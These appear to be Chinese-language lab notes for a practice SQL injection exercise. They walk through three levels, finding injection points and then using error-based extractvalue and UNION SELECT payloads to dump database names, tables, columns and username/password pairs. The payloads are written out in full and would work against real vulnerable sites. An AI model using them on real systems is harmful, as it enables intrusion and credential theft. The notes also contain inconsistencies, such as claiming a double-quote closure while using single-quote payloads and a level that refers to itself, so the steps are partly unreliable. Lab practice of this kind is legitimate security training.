SERIES-1
输入?id=1成功显示界面
输入?id=2-1成功显示界面,但是页面发生改变,说明该数据类型为字符型
加入单引号?id=2-1’,报错发现使用的单引号报错
加上双引号?id=1",发现能够成功的显示,说明闭合符号为双引号
1.联合注入,参考第二关
2.报错注入
利用报错注入查看所有数据库?id=1’ and (extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata),0x7e))) --+
查看当前数据库里面的所有表?id=1’ and (extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),1,31) from information_schema.tables where table_schema=database()),0x7e))) --+
查看user表里面的列?id=1’ and (extractvalue(1,concat(0x7e,(select substr(group_concat(column_name),60,31) from information_schema.columns where table_schema=database()),0x7e))) --+
找到username和password
查看列里面的数据?id=1’ and (extractvalue(1,concat(0x7e,(select substr(group_concat(username,password),1,31) from security.users),0x7e))) --+
SERIES-2
输入?id=1
输入?id=2-1,两个页面相同,数据类型为数字型
输入and 1=1
输入?id=1 and 1=2 两个页面不同,说明该点存在注入点
输入?id=1 order by 3
输入?id=1 order by 4
说明数据有三列,输入?id=-1 union select 1,2,3判断回显位
回显位为2和3,输入?id=-1 union select 1,database(),version()查看当前数据库和数据库版本
数据库名为security版本号为5.5.53,输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security’查看当前数据库中存在的表
输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users’查看查看user表中的列
输入?id=-1 union select 1,2,group_concat(username ,id , password) from users查看user表中的具体字段
SERIES-3
输入?id=1
输入?id=2-1,页面发生改变,说明是字符型
输入?id=1’,报错,
输入?id=1’')–+,不报错,说明闭合符号为单引号
输入?id=1’) order by 3–+
输入?id=1’) order by 4–+
说明数据只有三列,输入?id=-1’) union select 1,2,3–+查看回显位
注入过程参考SERIES-3